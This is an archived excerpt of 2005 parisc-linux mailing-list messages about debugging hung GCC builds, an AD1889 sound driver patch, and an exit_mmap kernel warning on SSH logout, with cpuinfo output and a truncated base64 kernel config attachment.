> by running the hanging process in the background (i.e. ./cc1plus ... &). 
> Now when it hangs, I was still able to use the console and run strace on 
> it. I wonder if you ran the gcc testsuite in the background, will the 
> machine still respond sufficiently when it is "hung" that you can do 
> some more debugging? strace should tell you if you are having another 
> signal loop.

I actually run GCC builds and the testsuite in the background all
the time.  So, it's definitely possible to do this from the console.
Problem is the machine is downtown at NRC and it's not setup with a
serial console.  I know from past experience that ssh connections die.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Alsa-devel] [PATCH] Support for AD1889 PCI
	Soundchip
Date: Mon, 22 Aug 2005 18:13:25 -0600
Lines: 43
Approved: news@gmane.org
Message-ID: <20050823001325.GA19568__37955.4454972551$1416623915$gmane$org@colo.lackof.org>
References: <20050817101017.008D03658E8@mail.esiee.fr>
	<Pine.HPX.4.33n.0508171249360.19860-200000@studcom.urz.uni-halle.de>
	<20050819174655.GA6376@colo.lackof.org>
	<s5hr7cpdd9p.wl%tiwai@suse.de>
	<20050820013655.GC6376@colo.lackof.org>
	<s5hpss6p721.wl%tiwai@suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623915 16592 80.91.229.3 (22 Nov 2014 02:38:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:35 +0000 (UTC)
Cc: Clemens Ladisch <clemens@ladisch.de>,
 kyle@parisc-linux.org,
 Thibaut VARENE <T-Bone@parisc-linux.org>,
 alsa-devel@lists.sourceforge.net,
 parisc-linux@lists.parisc-linux.org
To: Takashi Iwai <tiwai@suse.de>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Aug 2005 00:07:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 23 Aug 2005 02:07:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 01FB17D6B0;
	Mon, 22 Aug 2005 18:07:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02899-03; Mon, 22 Aug 2005 18:07:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E40787D6AD;
	Mon, 22 Aug 2005 18:07:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0861B7D6AA
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 22 Aug 2005 18:07:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02530-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 22 Aug 2005 18:07:50 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 6EA8F7D6A3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 22 Aug 2005 18:07:50 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 04062360066;
	Mon, 22 Aug 2005 18:13:27 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18227-07; Mon, 22 Aug 2005 18:13:25 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 9FE3A360065; Mon, 22 Aug 2005 18:13:25 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <s5hpss6p721.wl%tiwai@suse.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tw14Y6MCeSEkTr6WZHQhaXN1IGRvb8CS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23133

On Mon, Aug 22, 2005 at 01:03:34PM +0200, Takashi Iwai wrote:
> At Fri, 19 Aug 2005 19:36:55 -0600,
> Grant Grundler wrote:
> > 
> > On Fri, Aug 19, 2005 at 07:53:22PM +0200, Takashi Iwai wrote:
> > > Check his patch carefully.  It doesn't add any extra accesses (except
> > > for one readl to flush in irq handler - I guess it was added to be
> > > sure?).  The original driver didn't use these fields effectively at
> > > all, too.
> > 
> > Sorry - I didn't look at patch at all.
> > If the fields were never used, removing them is fine.
> > If they *could* have been used, then removing them is a bad idea.
> 
> They won't be used/referred any more at all, so why do you need still
> to keep them?

I don't - removing them is fine.

> > In general, referencing parameters in IO device registers is NOT
> > a good substitute for caching the values "locally" in host mem.
> 
> A cached value is not accurate, especially if you want to get a
> precise position.

Caching is only possible if the register is "constant" for
the duration of it's use. e.g. offset or "count down" registers
can't be cached.


>   The position callback should return the accurate
> position as much as possible since this can be used from the low
> latency calculation like dmix.

ok - no problem. That's reasonable.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Takashi Iwai <tiwai@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Alsa-devel] [PATCH] Support for AD1889 PCI
	Soundchip
Date: Tue, 23 Aug 2005 11:11:37 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <s5hpss5586u.wl%tiwai__24438.193839933$1416623916$gmane$org@suse.de>
References: <20050817101017.008D03658E8@mail.esiee.fr>
	<Pine.HPX.4.33n.0508171249360.19860-200000@studcom.urz.uni-halle.de>
	<20050819174655.GA6376@colo.lackof.org>
	<s5hr7cpdd9p.wl%tiwai@suse.de>
	<20050820013655.GC6376@colo.lackof.org>
	<s5hpss6p721.wl%tiwai@suse.de>
	<20050823001325.GA19568@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka")
Content-Type: text/plain;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416623916 16597 80.91.229.3 (22 Nov 2014 02:38:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:36 +0000 (UTC)
Cc: alsa-devel@lists.sourceforge.net,
 kyle@parisc-linux.org,
 Clemens Ladisch <clemens@ladisch.de>,
 parisc-linux@lists.parisc-linux.org,
 Thibaut VARENE <T-Bone@parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Aug 2005 09:11:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 23 Aug 2005 11:11:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E67F77D676;
	Tue, 23 Aug 2005 03:11:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04558-10; Tue, 23 Aug 2005 03:11:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DEDA57D6AA;
	Tue, 23 Aug 2005 03:11:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 826E07D6A6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Aug 2005 03:11:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04624-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Aug 2005 03:11:42 -0600 (MDT)
Original-Received: from mx2.suse.de (mx2.suse.de [195.135.220.15])
	by free.linux.hp.com (Postfix) with ESMTP id AB8707D69E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Aug 2005 03:11:41 -0600 (MDT)
Original-Received: from Relay1.suse.de (mail2.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx2.suse.de (Postfix) with ESMTP id 1FF801CA39;
	Tue, 23 Aug 2005 11:11:40 +0200 (CEST)
Original-Received: from alsa2.suse.de (alsa2.suse.de [10.10.1.32])
	by Relay1.suse.de (Postfix) with ESMTP id E21661AF43;
	Tue, 23 Aug 2005 11:11:37 +0200 (CEST)
In-Reply-To: <20050823001325.GA19568@colo.lackof.org>
User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka)
	FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 MULE XEmacs/21.5
	(beta18) (chestnut) (+CVS-20041021) (i386-suse-linux)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Do14Y98yeSEkN76WZHQhaXN1IGRvb4DG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23134

At Mon, 22 Aug 2005 18:13:25 -0600,
Grant Grundler wrote:
> 
> On Mon, Aug 22, 2005 at 01:03:34PM +0200, Takashi Iwai wrote:
> > At Fri, 19 Aug 2005 19:36:55 -0600,
> > Grant Grundler wrote:
> > > 
> > > On Fri, Aug 19, 2005 at 07:53:22PM +0200, Takashi Iwai wrote:
> > > > Check his patch carefully.  It doesn't add any extra accesses (except
> > > > for one readl to flush in irq handler - I guess it was added to be
> > > > sure?).  The original driver didn't use these fields effectively at
> > > > all, too.
> > > 
> > > Sorry - I didn't look at patch at all.
> > > If the fields were never used, removing them is fine.
> > > If they *could* have been used, then removing them is a bad idea.
> > 
> > They won't be used/referred any more at all, so why do you need still
> > to keep them?
> 
> I don't - removing them is fine.
> 
> > > In general, referencing parameters in IO device registers is NOT
> > > a good substitute for caching the values "locally" in host mem.
> > 
> > A cached value is not accurate, especially if you want to get a
> > precise position.
> 
> Caching is only possible if the register is "constant" for
> the duration of it's use. e.g. offset or "count down" registers
> can't be cached.
> 
> 
> >   The position callback should return the accurate
> > position as much as possible since this can be used from the low
> > latency calculation like dmix.
> 
> ok - no problem. That's reasonable.

Glad to hear we agree :)

BTW, did anyone test Clemens' patch on the real machine?
If it works fine on 2.6, I'd like to push the driver to alsa-kernel
(eventually linux kernel) tree.


Takashi
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michal Rokos <michal.rokos@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SSH triggered MMAP bug?
Date: Tue, 23 Aug 2005 14:31:50 +0200
Lines: 451
Approved: news@gmane.org
Message-ID: <333e1ca1050823053159568a11@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="----=_Part_3343_14025129.1124800310842"
X-Trace: ger.gmane.org 1416623916 16599 80.91.229.3 (22 Nov 2014 02:38:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Aug 2005 12:32:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx005) with SMTP; 23 Aug 2005 14:32:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EA43D7D6BB;
	Tue, 23 Aug 2005 06:31:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07619-01; Tue, 23 Aug 2005 06:31:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1931F7D6AA;
	Tue, 23 Aug 2005 06:31:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F1E8E7D674
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Aug 2005 06:31:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06269-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Aug 2005 06:31:52 -0600 (MDT)
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.197])
	by free.linux.hp.com (Postfix) with ESMTP id 2CBCC7D661
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Aug 2005 06:31:52 -0600 (MDT)
Original-Received: by wproxy.gmail.com with SMTP id i2so1211628wra
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Aug 2005 05:31:51 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:mime-version:content-type;
	b=qmgcn3ZkGJg7Wh40LDqhWluYMLuEpS0jyxI0l1tAaSbkno1pIATGcQYlHj7zgrlXiuC9jxapJxemVws8+MEGG2ZqUz7dVdXb9Ag8OKaedrgXdyL947SUqUJ2mZwHGZ/1nGy9PQqCkwisoTaOpbwqBqL6VRSGn68WbnLQFPgeai4=
Original-Received: by 10.54.4.11 with SMTP id 11mr2219659wrd;
	Tue, 23 Aug 2005 05:31:50 -0700 (PDT)
Original-Received: by 10.54.133.3 with HTTP; Tue, 23 Aug 2005 05:31:50 -0700 (PDT)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: EHJ5Y/5FeSEkd76WZHQhaXN1IGRvbwB0
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23135

------=_Part_3343_14025129.1124800310842
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Hello,

every time I log off from ssh session, I bump to BUG_ON() in mmap.c line 19=
72.

Here's the output:
---8<---
Badness in exit_mmap at mm/mmap.c:1972
Backtrace:
[exit_mmap+344/460] exit_mmap+0x158/0x1dc
[mmput+68/188] mmput+0x44/0xbc
[do_exit+228/1028] do_exit+0xe4/0x404
[do_group_exit+64/204] do_group_exit+0x40/0xcc
[syscall_exit+0/20] syscall_exit+0x0/0x14
---8<---
(I changed BUG_ON() to WARN_ON() )

Kernel is latest:
volavka:~# uname -a
Linux volavka 2.6.13-rc6-pa3 #3 Tue Aug 23 13:58:28 CEST 2005 parisc GNU/Li=
nux

GCC: 3.3.6
binutils: 2.16.1
(CrossCompiled from scratch on P4)

Here's the line from mmap.c
WARN_ON(mm->nr_ptes > (FIRST_USER_ADDRESS+PMD_SIZE-1)>>PMD_SHIFT);

# D 9000 (d210)
volavka:~# cat /proc/cpuinfo
processor       : 0
cpu family      : PA-RISC 1.1d
cpu             : PA7100LC (PCX-L)
cpu MHz         : 100.000000
model           : 9000/811/D210
model name      : UL Proc L-100 (811/D210,D310)
hversion        : 0x00004840
sversion        : 0x00000481
I-cache         : 128 KB
D-cache         : 128 KB (WB, 0-way associative)
ITLB entries    : 64
DTLB entries    : 64 - shared with ITLB
BTLB fixed      : max. 16384 pages, pagesize=3D4096 (64MB)
BTLB fix-entr.  : 0 instruction, 0 data (8 combined)
BTLB var-entr.  : 0 instruction, 0 data (0 combined)
bogomips        : 99.73
software id     : 2010696954

Michal

PS: On second machine (712/80) (the same kernel - the same binary)
it's working just fine... Could be some kernel-feature-missing issue
then?
sova:~# cat /proc/cpuinfo
processor       : 0
cpu family      : PA-RISC 1.1d
cpu             : PA7100LC (PCX-L)
cpu MHz         : 80.000000
model           : 9000/712
model name      : Gecko 80 (712/80)
hversion        : 0x00006010
sversion        : 0x00000481
I-cache         : 128 KB
D-cache         : 128 KB (WB, 0-way associative)
ITLB entries    : 64
DTLB entries    : 64 - shared with ITLB
BTLB fixed      : max. 16384 pages, pagesize=3D4096 (64MB)
BTLB fix-entr.  : 0 instruction, 0 data (8 combined)
BTLB var-entr.  : 0 instruction, 0 data (0 combined)
bogomips        : 79.66
software id     : 2010928732

------=_Part_3343_14025129.1124800310842
Content-Type: text/plain; name=".config"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=".config"

IwojIEF1dG9tYXRpY2FsbHkgZ2VuZXJhdGVkIG1ha2UgY29uZmlnOiBkb24ndCBlZGl0CiMgTGlu
dXgga2VybmVsIHZlcnNpb246IDIuNi4xMy1yYzYtcGEzCiMgVHVlIEF1ZyAyMyAwOToyOTozNCAy
MDA1CiMKQ09ORklHX1BBUklTQz15CkNPTkZJR19NTVU9eQpDT05GSUdfU1RBQ0tfR1JPV1NVUD15
CkNPTkZJR19SV1NFTV9HRU5FUklDX1NQSU5MT0NLPXkKQ09ORklHX0dFTkVSSUNfQ0FMSUJSQVRF
X0RFTEFZPXkKQ09ORklHX0dFTkVSSUNfSEFSRElSUVM9eQpDT05GSUdfR0VORVJJQ19JUlFfUFJP
QkU9eQpDT05GSUdfSVNBX0RNQV9BUEk9eQoKIwojIENvZGUgbWF0dXJpdHkgbGV2ZWwgb3B0aW9u
cwojCkNPTkZJR19FWFBFUklNRU5UQUw9eQpDT05GSUdfQ0xFQU5fQ09NUElMRT15CkNPTkZJR19C
Uk9LRU5fT05fU01QPXkKQ09ORklHX0lOSVRfRU5WX0FSR19MSU1JVD0zMgoKIwojIEdlbmVyYWwg
c2V0dXAKIwpDT05GSUdfTE9DQUxWRVJTSU9OPSIiCkNPTkZJR19TV0FQPXkKQ09ORklHX1NZU1ZJ
UEM9eQpDT05GSUdfUE9TSVhfTVFVRVVFPXkKQ09ORklHX0JTRF9QUk9DRVNTX0FDQ1Q9eQpDT05G
SUdfQlNEX1BST0NFU1NfQUNDVF9WMz15CkNPTkZJR19TWVNDVEw9eQojIENPTkZJR19BVURJVCBp
cyBub3Qgc2V0CkNPTkZJR19IT1RQTFVHPXkKQ09ORklHX0tPQkpFQ1RfVUVWRU5UPXkKQ09ORklH
X0lLQ09ORklHPXkKIyBDT05GSUdfSUtDT05GSUdfUFJPQyBpcyBub3Qgc2V0CiMgQ09ORklHX0VN
QkVEREVEIGlzIG5vdCBzZXQKQ09ORklHX0tBTExTWU1TPXkKIyBDT05GSUdfS0FMTFNZTVNfQUxM
IGlzIG5vdCBzZXQKIyBDT05GSUdfS0FMTFNZTVNfRVhUUkFfUEFTUyBpcyBub3Qgc2V0CkNPTkZJ
R19QUklOVEs9eQpDT05GSUdfQlVHPXkKQ09ORklHX0JBU0VfRlVMTD15CkNPTkZJR19GVVRFWD15
CkNPTkZJR19FUE9MTD15CkNPTkZJR19TSE1FTT15CkNPTkZJR19DQ19BTElHTl9GVU5DVElPTlM9
MApDT05GSUdfQ0NfQUxJR05fTEFCRUxTPTAKQ09ORklHX0NDX0FMSUdOX0xPT1BTPTAKQ09ORklH
X0NDX0FMSUdOX0pVTVBTPTAKIyBDT05GSUdfVElOWV9TSE1FTSBpcyBub3Qgc2V0CkNPTkZJR19C
QVNFX1NNQUxMPTAKCiMKIyBMb2FkYWJsZSBtb2R1bGUgc3VwcG9ydAojCkNPTkZJR19NT0RVTEVT
PXkKQ09ORklHX01PRFVMRV9VTkxPQUQ9eQpDT05GSUdfTU9EVUxFX0ZPUkNFX1VOTE9BRD15CkNP
TkZJR19PQlNPTEVURV9NT0RQQVJNPXkKQ09ORklHX01PRFZFUlNJT05TPXkKIyBDT05GSUdfTU9E
VUxFX1NSQ1ZFUlNJT05fQUxMIGlzIG5vdCBzZXQKQ09ORklHX0tNT0Q9eQoKIwojIFByb2Nlc3Nv
ciB0eXBlIGFuZCBmZWF0dXJlcwojCiMgQ09ORklHX1BBNzAwMCBpcyBub3Qgc2V0CkNPTkZJR19Q
QTcxMDBMQz15CiMgQ09ORklHX1BBNzIwMCBpcyBub3Qgc2V0CiMgQ09ORklHX1BBNzMwMExDIGlz
IG5vdCBzZXQKIyBDT05GSUdfUEE4WDAwIGlzIG5vdCBzZXQKQ09ORklHX1BBMTE9eQojIENPTkZJ
R19TTVAgaXMgbm90IHNldApDT05GSUdfU0VMRUNUX01FTU9SWV9NT0RFTD15CkNPTkZJR19GTEFU
TUVNX01BTlVBTD15CiMgQ09ORklHX0RJU0NPTlRJR01FTV9NQU5VQUwgaXMgbm90IHNldAojIENP
TkZJR19TUEFSU0VNRU1fTUFOVUFMIGlzIG5vdCBzZXQKQ09ORklHX0ZMQVRNRU09eQpDT05GSUdf
RkxBVF9OT0RFX01FTV9NQVA9eQojIENPTkZJR19QUkVFTVBUIGlzIG5vdCBzZXQKIyBDT05GSUdf
SFBVWCBpcyBub3Qgc2V0CgojCiMgQnVzIG9wdGlvbnMgKFBDSSwgUENNQ0lBLCBFSVNBLCBHU0Ms
IElTQSkKIwpDT05GSUdfR1NDPXkKQ09ORklHX0hQUEI9eQpDT05GSUdfSU9NTVVfQ0NJTz15CkNP
TkZJR19HU0NfTEFTST15CkNPTkZJR19HU0NfV0FYPXkKQ09ORklHX0VJU0E9eQpDT05GSUdfRUlT
QV9OQU1FUz15CkNPTkZJR19JU0E9eQojIENPTkZJR19QQ0kgaXMgbm90IHNldAoKIwojIFBDQ0FS
RCAoUENNQ0lBL0NhcmRCdXMpIHN1cHBvcnQKIwojIENPTkZJR19QQ0NBUkQgaXMgbm90IHNldAoK
IwojIFBDSSBIb3RwbHVnIFN1cHBvcnQKIwoKIwojIFBBLVJJU0Mgc3BlY2lmaWMgZHJpdmVycwoj
CkNPTkZJR19DSEFTU0lTX0xDRF9MRUQ9eQpDT05GSUdfUERDX0NIQVNTSVM9eQpDT05GSUdfUERD
X1NUQUJMRT15CgojCiMgRXhlY3V0YWJsZSBmaWxlIGZvcm1hdHMKIwpDT05GSUdfQklORk1UX0VM
Rj15CkNPTkZJR19CSU5GTVRfTUlTQz1tCgojCiMgTmV0d29ya2luZwojCkNPTkZJR19ORVQ9eQoK
IwojIE5ldHdvcmtpbmcgb3B0aW9ucwojCkNPTkZJR19QQUNLRVQ9bQpDT05GSUdfUEFDS0VUX01N
QVA9eQpDT05GSUdfVU5JWD1tCkNPTkZJR19YRlJNPXkKQ09ORklHX1hGUk1fVVNFUj1tCkNPTkZJ
R19ORVRfS0VZPW0KQ09ORklHX0lORVQ9eQpDT05GSUdfSVBfTVVMVElDQVNUPXkKIyBDT05GSUdf
SVBfQURWQU5DRURfUk9VVEVSIGlzIG5vdCBzZXQKQ09ORklHX0lQX0ZJQl9IQVNIPXkKIyBDT05G
SUdfSVBfUE5QIGlzIG5vdCBzZXQKQ09ORklHX05FVF9JUElQPW0KIyBDT05GSUdfTkVUX0lQR1JF
IGlzIG5vdCBzZXQKIyBDT05GSUdfSVBfTVJPVVRFIGlzIG5vdCBzZXQKIyBDT05GSUdfQVJQRCBp
cyBub3Qgc2V0CkNPTkZJR19TWU5fQ09PS0lFUz15CkNPTkZJR19JTkVUX0FIPW0KQ09ORklHX0lO
RVRfRVNQPW0KQ09ORklHX0lORVRfSVBDT01QPW0KQ09ORklHX0lORVRfVFVOTkVMPW0KQ09ORklH
X0lQX1RDUERJQUc9bQpDT05GSUdfSVBfVENQRElBR19JUFY2PXkKIyBDT05GSUdfVENQX0NPTkdf
QURWQU5DRUQgaXMgbm90IHNldApDT05GSUdfVENQX0NPTkdfQklDPXkKCiMKIyBJUDogVmlydHVh
bCBTZXJ2ZXIgQ29uZmlndXJhdGlvbgojCiMgQ09ORklHX0lQX1ZTIGlzIG5vdCBzZXQKQ09ORklH
X0lQVjY9bQpDT05GSUdfSVBWNl9QUklWQUNZPXkKQ09ORklHX0lORVQ2X0FIPW0KQ09ORklHX0lO
RVQ2X0VTUD1tCkNPTkZJR19JTkVUNl9JUENPTVA9bQpDT05GSUdfSU5FVDZfVFVOTkVMPW0KQ09O
